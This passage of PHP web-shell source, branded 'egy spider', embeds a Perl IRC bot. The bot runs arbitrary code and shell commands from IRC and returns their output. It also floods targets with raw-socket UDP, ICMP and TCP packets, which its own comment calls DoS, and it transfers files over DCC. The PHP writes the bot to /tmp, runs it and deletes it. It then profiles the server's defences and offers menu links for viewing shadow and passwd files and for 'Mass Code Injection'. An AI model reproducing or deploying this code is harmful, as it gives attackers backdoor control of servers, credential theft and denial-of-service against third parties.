3613 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
3614 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
3615 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
3616 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Media de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
3617
3618
3619 }
3620 exit;
3621 }
3622 }
3623}
3624##########################
3625
3626
3627
3628
3629sub ircase {
3630 my (\$kem, \$printl, \$case) = @_;
3631
3632
3633
3634
3635 if (\$case =~ /^join (.*)/) {
3636 j(\"$1\");
3637 }
3638 if (\$case =~ /^part (.*)/) {
3639 p(\"$1\");
3640 }
3641 if (\$case =~ /^rejoin\s+(.*)/) {
3642 my \$chan = $1;
3643 if (\$chan =~ /^(\d+) (.*)/) {
3644 for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
3645 p(\"$2\");
3646 j(\"$2\");
3647 }
3648 } else {
3649 p(\"\$chan\");
3650 j(\"\$chan\");
3651 }
3652 }
3653 if (\$case =~ /^op/) {
3654 op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
3655 my \$oarg = substr(\$case, 3);
3656 op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
3657 }
3658 if (\$case =~ /^deop/) {
3659 deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
3660 my \$oarg = substr(\$case, 5);
3661 deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
3662 }
3663 if (\$case =~ /^voice/) {
3664 voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
3665 \$oarg = substr(\$case, 6);
3666 voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
3667 }
3668 if (\$case =~ /^devoice/) {
3669 devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
3670 \$oarg = substr(\$case, 8);
3671 devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
3672 }
3673 if (\$case =~ /^msg\s+(\S+) (.*)/) {
3674 msg(\"$1\", \"$2\");
3675 }
3676 if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
3677 for (my \$cf = 1; \$cf <= $1; \$cf++) {
3678 msg(\"$2\", \"$3\");
3679 }
3680 }
3681 if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
3682 ctcp(\"$1\", \"$2\");
3683 }
3684 if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
3685 for (my \$cf = 1; \$cf <= $1; \$cf++) {
3686 ctcp(\"$2\", \"$3\");
3687 }
3688 }
3689 if (\$case =~ /^invite\s+(\S+) (.*)/) {
3690 invite(\"$1\", \"$2\");
3691 }
3692 if (\$case =~ /^nick (.*)/) {
3693 nick(\"$1\");
3694 }
3695 if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
3696 conectar(\"$2\", \"$1\", 6667);
3697 }
3698 if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
3699 DCC::SEND(\"$1\", \"$2\");
3700 }
3701 if (\$case =~ /^raw (.*)/) {
3702 sendraw(\"$1\");
3703 }
3704 if (\$case =~ /^eval (.*)/) {
3705 eval \"$1\";
3706 }
3707}
3708##########################
3709
3710
3711sub shell {
3712 return unless \$secv;
3713 my \$printl=\$_[0];
3714 my \$comando=\$_[1];
3715 if (\$comando =~ /cd (.*)/) {
3716 chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
3717 return;
3718 }
3719 elsif (\$pid = fork) {
3720 waitpid(\$pid, 0);
3721 } else {
3722 if (fork) {
3723 exit;
3724 } else {
3725 my @resp=`\$comando 2>&1 3>&1`;
3726 my \$c=0;
3727 foreach my \$linha (@resp) {
3728 \$c++;
3729 chop \$linha;
3730 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
3731 if (\$c == \"\$linas_max\") {
3732 \$c=0;
3733 sleep \$sleep;
3734 }
3735 }
3736 exit;
3737 }
3738 }
3739}
3740
3741
3742#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
3743sub attacker {
3744 my \$iaddr = inet_aton(\$_[0]);
3745 my \$msg = 'B' x \$_[1];
3746 my \$ftime = \$_[2];
3747 my \$cp = 0;
3748 my (%pacotes);
3749 \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
3750
3751
3752 socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
3753 socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
3754 socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
3755 socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
3756 return(undef) if \$cp == 4;
3757 my \$itime = time;
3758 my (\$cur_time);
3759 while ( 1 ) {
3760 for (my \$porta = 1; \$porta <= 65535; \$porta++) {
3761 \$cur_time = time - \$itime;
3762 last if \$cur_time >= \$ftime;
3763 send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
3764 send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
3765 send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
3766 send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
3767
3768
3769 # DoS ?? :P
3770 for (my \$pc = 3; \$pc <= 255;\$pc++) {
3771 next if \$pc == 6;
3772 \$cur_time = time - \$itime;
3773 last if \$cur_time >= \$ftime;
3774 socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
3775 send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
3776 }
3777 }
3778 last if \$cur_time >= \$ftime;
3779 }
3780 return(\$cur_time, %pacotes);
3781}
3782
3783
3784#############
3785# ALIASES #
3786#############
3787
3788
3789sub action {
3790 return unless $#_ == 1;
3791 sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
3792}
3793
3794
3795sub ctcp {
3796 return unless $#_ == 1;
3797 sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
3798}
3799sub msg {
3800 return unless $#_ == 1;
3801 sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
3802}
3803
3804
3805sub notice {
3806 return unless $#_ == 1;
3807 sendraw(\"NOTICE \$_[0] :\$_[1]\");
3808}
3809
3810
3811sub op {
3812 return unless $#_ == 1;
3813 sendraw(\"MODE \$_[0] +o \$_[1]\");
3814}
3815sub deop {
3816 return unless $#_ == 1;
3817 sendraw(\"MODE \$_[0] -o \$_[1]\");
3818}
3819sub hop {
3820 return unless $#_ == 1;
3821 sendraw(\"MODE \$_[0] +h \$_[1]\");
3822}
3823sub dehop {
3824 return unless $#_ == 1;
3825 sendraw(\"MODE \$_[0] +h \$_[1]\");
3826}
3827sub voice {
3828 return unless $#_ == 1;
3829 sendraw(\"MODE \$_[0] +v \$_[1]\");
3830}
3831sub devoice {
3832 return unless $#_ == 1;
3833 sendraw(\"MODE \$_[0] -v \$_[1]\");
3834}
3835sub ban {
3836 return unless $#_ == 1;
3837 sendraw(\"MODE \$_[0] +b \$_[1]\");
3838}
3839sub unban {
3840 return unless $#_ == 1;
3841 sendraw(\"MODE \$_[0] -b \$_[1]\");
3842}
3843sub kick {
3844 return unless $#_ == 1;
3845 sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
3846}
3847
3848
3849sub modo {
3850 return unless $#_ == 0;
3851 sendraw(\"MODE \$_[0] \$_[1]\");
3852}
3853sub mode { modo(@_); }
3854
3855
3856sub j { &join(@_); }
3857sub join {
3858 return unless $#_ == 0;
3859 sendraw(\"JOIN \$_[0]\");
3860}
3861sub p { part(@_); }
3862sub part {sendraw(\"PART \$_[0]\");}
3863
3864
3865sub nick {
3866 return unless $#_ == 0;
3867 sendraw(\"NICK \$_[0]\");
3868}
3869
3870
3871sub invite {
3872 return unless $#_ == 1;
3873 sendraw(\"INVITE \$_[1] \$_[0]\");
3874}
3875sub topico {
3876 return unless $#_ == 1;
3877 sendraw(\"TOPIC \$_[0] \$_[1]\");
3878}
3879sub topic { topico(@_); }
3880
3881
3882sub whois {
3883 return unless $#_ == 0;
3884 sendraw(\"WHOIS \$_[0]\");
3885}
3886sub who {
3887 return unless $#_ == 0;
3888 sendraw(\"WHO \$_[0]\");
3889}
3890sub names {
3891 return unless $#_ == 0;
3892 sendraw(\"NAMES \$_[0]\");
3893}
3894sub away {
3895 sendraw(\"AWAY \$_[0]\");
3896}
3897sub back { away(); }
3898sub quit {
3899 sendraw(\"QUIT :\$_[0]\");
3900}
3901
3902
3903# DCC
3904#########################
3905
3906
3907package DCC;
3908
3909
3910sub connections {
3911 my @ready = \$dcc_sel->can_read(1);
3912# return unless (@ready);
3913 foreach my \$fh (@ready) {
3914 my \$dcctipo = \$DCC{\$fh}{tipo};
3915 my \$arquivo = \$DCC{\$fh}{arquivo};
3916 my \$bytes = \$DCC{\$fh}{bytes};
3917 my \$cur_byte = \$DCC{\$fh}{curbyte};
3918 my \$nick = \$DCC{\$fh}{nick};
3919
3920
3921
3922
3923 my \$msg;
3924 my \$nread = sysread(\$fh, \$msg, 10240);
3925
3926
3927 if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
3928 \$DCC{\$fh}{status} = \"Cancelado\";
3929 \$DCC{\$fh}{ftime} = time;
3930 \$dcc_sel->remove(\$fh);
3931 \$fh->close;
3932 next;
3933 }
3934
3935
3936 if (\$dcctipo eq \"get\") {
3937 \$DCC{\$fh}{curbyte} += length(\$msg);
3938
3939
3940 my \$cur_byte = \$DCC{\$fh}{curbyte};
3941
3942
3943 open(FILE, \">> \$arquivo\");
3944 print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
3945 close(FILE);
3946
3947
3948 my \$packbyte = pack(\"N\", \$cur_byte);
3949 print \$fh \"\$packbyte\";
3950
3951
3952
3953
3954 if (\$bytes == \$cur_byte) {
3955 \$dcc_sel->remove(\$fh);
3956 \$fh->close;
3957 \$DCC{\$fh}{status} = \"Recebido\";
3958 \$DCC{\$fh}{ftime} = time;
3959 next;
3960 }
3961 } elsif (\$dcctipo eq \"send\") {
3962 my \$send = \$fh->accept;
3963 \$send->autoflush(1);
3964 \$dcc_sel->add(\$send);
3965 \$dcc_sel->remove(\$fh);
3966 \$DCC{\$send}{tipo} = 'sendcon';
3967 \$DCC{\$send}{itime} = time;
3968 \$DCC{\$send}{nick} = \$nick;
3969 \$DCC{\$send}{bytes} = \$bytes;
3970 \$DCC{\$send}{curbyte} = 0;
3971 \$DCC{\$send}{arquivo} = \$arquivo;
3972 \$DCC{\$send}{ip} = \$send->peerhost;
3973 \$DCC{\$send}{porta} = \$send->peerport;
3974 \$DCC{\$send}{status} = \"Enviando\";
3975 #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
3976 open(FILE, \"< \$arquivo\");
3977 my \$fbytes;
3978 read(FILE, \$fbytes, 1024);
3979 print \$send \"\$fbytes\";
3980 close FILE;
3981# delete(\$DCC{\$fh});
3982} elsif (\$dcctipo eq 'sendcon') {
3983 my \$bytes_sended = unpack(\"N\", \$msg);
3984 \$DCC{\$fh}{curbyte} = \$bytes_sended;
3985 if (\$bytes_sended == \$bytes) {
3986 \$fh->close;
3987 \$dcc_sel->remove(\$fh);
3988 \$DCC{\$fh}{status} = \"Enviado\";
3989 \$DCC{\$fh}{ftime} = time;
3990 next;
3991 }
3992 open(SENDFILE, \"< \$arquivo\");
3993 seek(SENDFILE, \$bytes_sended, 0);
3994 my \$send_bytes;
3995 read(SENDFILE, \$send_bytes, 1024);
3996 print \$fh \"\$send_bytes\";
3997 close(SENDFILE);
3998 }
3999 }
4000}
4001##########################
4002
4003
4004sub SEND {
4005 my (\$nick, \$arquivo) = @_;
4006 unless (-r \"\$arquivo\") {
4007 return(0);
4008 }
4009
4010
4011 my \$dccark = \$arquivo;
4012 \$dccark =~ s/[.*\/](\S+)/$1/;
4013
4014
4015 my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
4016 my \$longip = unpack(\"N\",inet_aton(\$meuip));
4017
4018
4019 my @filestat = stat(\$arquivo);
4020 my \$size_total=\$filestat[7];
4021 if (\$size_total == 0) {
4022 return(0);
4023 }
4024
4025
4026 my (\$porta, \$sendsock);
4027 do {
4028 \$porta = int rand(64511);
4029 \$porta += 1024;
4030 \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
4031 } until \$sendsock;
4032
4033
4034 \$DCC{\$sendsock}{tipo} = 'send';
4035 \$DCC{\$sendsock}{nick} = \$nick;
4036 \$DCC{\$sendsock}{bytes} = \$size_total;
4037 \$DCC{\$sendsock}{arquivo} = \$arquivo;
4038
4039
4040 &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
4041
4042
4043}
4044
4045
4046sub GET {
4047 my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
4048 return(0) if (-e \"\$arquivo\");
4049 if (open(FILE, \"> \$arquivo\")) {
4050 close FILE;
4051 } else {
4052 return(0);
4053 }
4054
4055
4056 my \$dccip=fixaddr(\$dcclongip);
4057 return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
4058 my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
4059 \$dccsock->autoflush(1);
4060 \$dcc_sel->add(\$dccsock);
4061 \$DCC{\$dccsock}{tipo} = 'get';
4062 \$DCC{\$dccsock}{itime} = time;
4063 \$DCC{\$dccsock}{nick} = \$nick;
4064 \$DCC{\$dccsock}{bytes} = \$bytes;
4065 \$DCC{\$dccsock}{curbyte} = 0;
4066 \$DCC{\$dccsock}{arquivo} = \$arquivo;
4067 \$DCC{\$dccsock}{ip} = \$dccip;
4068 \$DCC{\$dccsock}{porta} = \$dccporta;
4069 \$DCC{\$dccsock}{status} = \"Recebendo\";
4070}
4071############################
4072# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
4073sub Status {
4074 my \$socket = shift;
4075 my \$sock_tipo = \$DCC{\$socket}{tipo};
4076 unless (lc(\$sock_tipo) eq \"chat\") {
4077 my \$nick = \$DCC{\$socket}{nick};
4078 my \$arquivo = \$DCC{\$socket}{arquivo};
4079 my \$itime = \$DCC{\$socket}{itime};
4080 my \$ftime = time;
4081 my \$status = \$DCC{\$socket}{status};
4082 \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
4083
4084
4085 my \$d_time = \$ftime-\$itime;
4086
4087
4088 my \$cur_byte = \$DCC{\$socket}{curbyte};
4089 my \$bytes_total = \$DCC{\$socket}{bytes};
4090
4091
4092 my \$rate = 0;
4093 \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
4094 my \$porcen = (\$cur_byte*100)/\$bytes_total;
4095
4096
4097 my (\$r_duv, \$p_duv);
4098 if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
4099 \$r_duv = $3; \$r_duv++ if $4 >= 5;
4100 \$rate = \"$1\.$2\".\"\$r_duv\";
4101 }
4102 if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
4103 \$p_duv = $3; \$p_duv++ if $4 >= 5;
4104 \$porcen = \"$1\.$2\".\"\$p_duv\";
4105 }
4106 return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
4107 }
4108
4109
4110 return(0);
4111}
4112
4113
4114# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
4115sub fixaddr {
4116 my (\$address) = @_;
4117
4118
4119 chomp \$address; # just in case, sigh.
4120 if (\$address =~ /^\d+$/) {
4121 return inet_ntoa(pack \"N\", \$address);
4122 } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
4123 return \$address;
4124 } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
4125 return inet_ntoa(((gethostbyname(\$address))[4])[0]);
4126 } else {
4127 return;
4128 }
4129}
4130############################
4131";
4132$bot = "/tmp/ircs.pl";
4133$open = fopen($bot,"w");
4134fputs($open,$file);
4135fclose($open);
4136$cmd="perl $bot";
4137$cmd2="rm $bot";
4138system($cmd);
4139system($cmd2);
4140$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
4141
4142
4143}
4144
4145
4146
4147
4148if(!isset($_COOKIE[$lang[$language.'_text137']])) {
4149 $ust_u='';
4150 if($unix && !$safe_mode){
4151 foreach ($userful as $item) {
4152 if(which($item)){$ust_u.=$item;}
4153 }
4154 }
4155 if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
4156 if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
4157 if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
4158 if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
4159 if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
4160 if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
4161 if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
4162 if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
4163
4164 $ust_u = trim($ust_u);
4165}else {
4166 $ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
4167}
4168
4169
4170if(!isset($_COOKIE[$lang[$language.'_text138']])) {
4171 $ust_d='';
4172 if($unix && !$safe_mode){
4173 foreach ($danger as $item) {
4174 if(which($item)){$ust_d.=$item;}
4175 }
4176 }
4177 if(!$safe_mode){
4178 foreach ($danger as $item) {
4179 if(ps($item)){$ust_d.=$item;}
4180 }
4181 }
4182 if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
4183 if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
4184
4185 $ust_d = trim($ust_d);
4186}else {
4187 $ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
4188}
4189
4190
4191if(!isset($_COOKIE[$lang[$language.'_text142']])) {
4192
4193
4194 $select_downloaders='<select size="1" name=with>';
4195 if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
4196 if($unix && !$safe_mode){
4197 foreach ($downloaders as $item) {
4198 if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";}
4199 }
4200 }
4201 $select_downloaders .= '</select>';
4202 if(substr($downloader,0,1)==",") {$downloader[0]="";}
4203
4204 $downloader=trim($downloader);
4205
4206
4207}
4208
4209
4210
4211
4212echo $head;
4213echo '</head>';
4214
4215
4216echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td bgcolor=#000000 width=120><font face=Comic Sans MS size=1>'.ws(2).'<DIV dir=ltr align=center><p><font style="font-weight: 500" face="Webdings" color="#800000" size="7">!</font></p>'.ws(2).'<DIV dir=ltr align=center><SPAN
4217style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
4218<SPAN
4219style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">egy spider</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>'.
4220
4221
4222'</center></font>'.$fe.'</td>'.'<td bgcolor=#333333><font face=#FFFFFF size=-2>';
4223echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
4224echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
4225echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
4226echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
4227
4228
4229echo "<br>";
4230
4231
4232echo ws(2)."PHP Version: <b>".@phpversion()."</b>";
4233$curl_on = @function_exists('curl_version');
4234echo ws(2);
4235echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
4236echo "</b>".ws(2);
4237echo "MySQL: <b>";
4238$mysql_on = @function_exists('mysql_connect');
4239if($mysql_on){
4240echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; }
4241echo "</b>".ws(2);
4242echo "MSSQL: <b>";
4243$mssql_on = @function_exists('mssql_connect');
4244if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4245echo "</b>".ws(2);
4246echo "PostgreSQL: <b>";
4247$pg_on = @function_exists('pg_connect');
4248if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4249echo "</b>".ws(2);
4250echo "Oracle: <b>";
4251$ora_on = @function_exists('ocilogon');
4252if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4253echo "</b>".ws(2);
4254echo "MySQLi: <b>";
4255$mysqli_on = @function_exists('mysqli_connect');
4256if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4257echo "</b>".ws(2);
4258echo "MSQL: <b>";
4259$msql_on = @function_exists('msql_connect');
4260if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4261echo "</b>".ws(2);
4262echo "SQLite: <b>";
4263$sqlite_on = @function_exists('sqlite_open');
4264if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4265echo "</b><br>".ws(2);
4266
4267
4268echo "Safe_Mode: <b>";
4269echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
4270echo "</b>".ws(2);
4271echo "Open_Basedir: <b>";
4272if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
4273else {echo "<font color=green>NONE</font></b>";}
4274echo ws(2)."Safe_Exec_Dir: <b>";
4275if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4276else {echo "<font color=red>ini_get disable!</font></b>";}
4277echo ws(2)."Safe_Gid: <b>";
4278if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
4279else {echo "<font color=red>ini_get disable!</font></b>";}
4280echo ws(2)."Safe_Include_Dir: <b>";
4281if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4282else {echo "<font color=red>ini_get disable!</font></b>";}
4283echo ws(2)."Sql.safe_mode: <b>";
4284if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
4285else {echo "<font color=red>ini_get disable!</font></b>";}
4286
4287
4288echo "<br>".ws(2);
4289echo "Disable Functions : <b>";$df='ini_get disable!';
4290if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
4291
4292
4293if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
4294elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';}
4295if (!$free) {$free = 0;}
4296$all = @disk_total_space($dir);
4297if (!$all) {$all = 0;}
4298echo "<br>".ws(2)."Free Space : <b>".view_size($free)."</b> Total Space: <b>".view_size($all)."</b>";
4299
4300
4301
4302
4303if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";};
4304
4305
4306if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";};
4307
4308
4309if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";};
4310
4311
4312
4313
4314echo "<br>".ws(2)."</b>";
4315echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?' title=\"".$lang[$language.'_text160']."\"><b>Home</b></a> ".$rb;
4316echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?egy' title=\"".$lang[$language.'_text159']."\"><b>About EgY SpIdEr</b></a> ".$rb;
4317echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?news' title=\"".$lang[$language.'_text152']."\"><b>News</b></a> ".$rb;
4318echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?logout=1' title=\"".$lang[$language.'_text153']."\"><b>Logout</b></a> ".$rb;
4319echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=feedback' title=\"".$lang[$language.'_text180']."\"><b>Feedback & Contact Me </b></a> ".$rb;
4320echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=qindx' title=\"".$lang[$language.'_text154']."\"><b>Quick index </b></a> ".$rb;
4321echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=massbrowsersploit' title=\"".$lang[$language.'_text155']."\"><b>Mass Code Injection</b></a> ".$rb;
4322echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=showsrc' title=\"".$lang[$language.'_text156']."\"><b>File source </b></a> ".$rb;
4323echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=zone' title=\"".$lang[$language.'_text157']."\"><b>Zone-h</b></a> ".$rb;
4324echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=encoder' title=\"".$lang[$language.'_text158']."\"><b>Hash Tools</b></a> ".$rb;
4325echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>PhpInfo</b></a> ".$rb;
4326echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>Php.Ini</b></a> ".$rb;
4327echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>Cpu</b></a> ".$rb;
4328if(!$unix) {
4329 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>SystemInfo</b></a> ".$rb;
4330}else{
4331 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>Syslog</b></a> ".$rb;
4332 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>Resolv</b></a> ".$rb;
4333 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>Hosts</b></a> ".$rb;
4334 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>Shadow</b></a> ".$rb;
4335 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>Passwd</b></a> ".$rb;
4336}
4337echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>Tmp</b></a> ".$rb;
4338echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>Delete</b></a> ".$rb;
4339
4340
4341if($unix && !$safe_mode)
4342{
4343 echo "<br>".ws(2)."</b>";
4344 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>Procinfo</b></a> ".$rb;
4345 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>Version</b></a> ".$rb;
4346 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>Free</b></a> ".$rb;
4347 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>Dmesg</b></a> ".$rb;
4348 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>Vmstat</b></a> ".$rb;
4349 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb;
4350 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
4351 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>Interrupts</b></a> ".$rb;
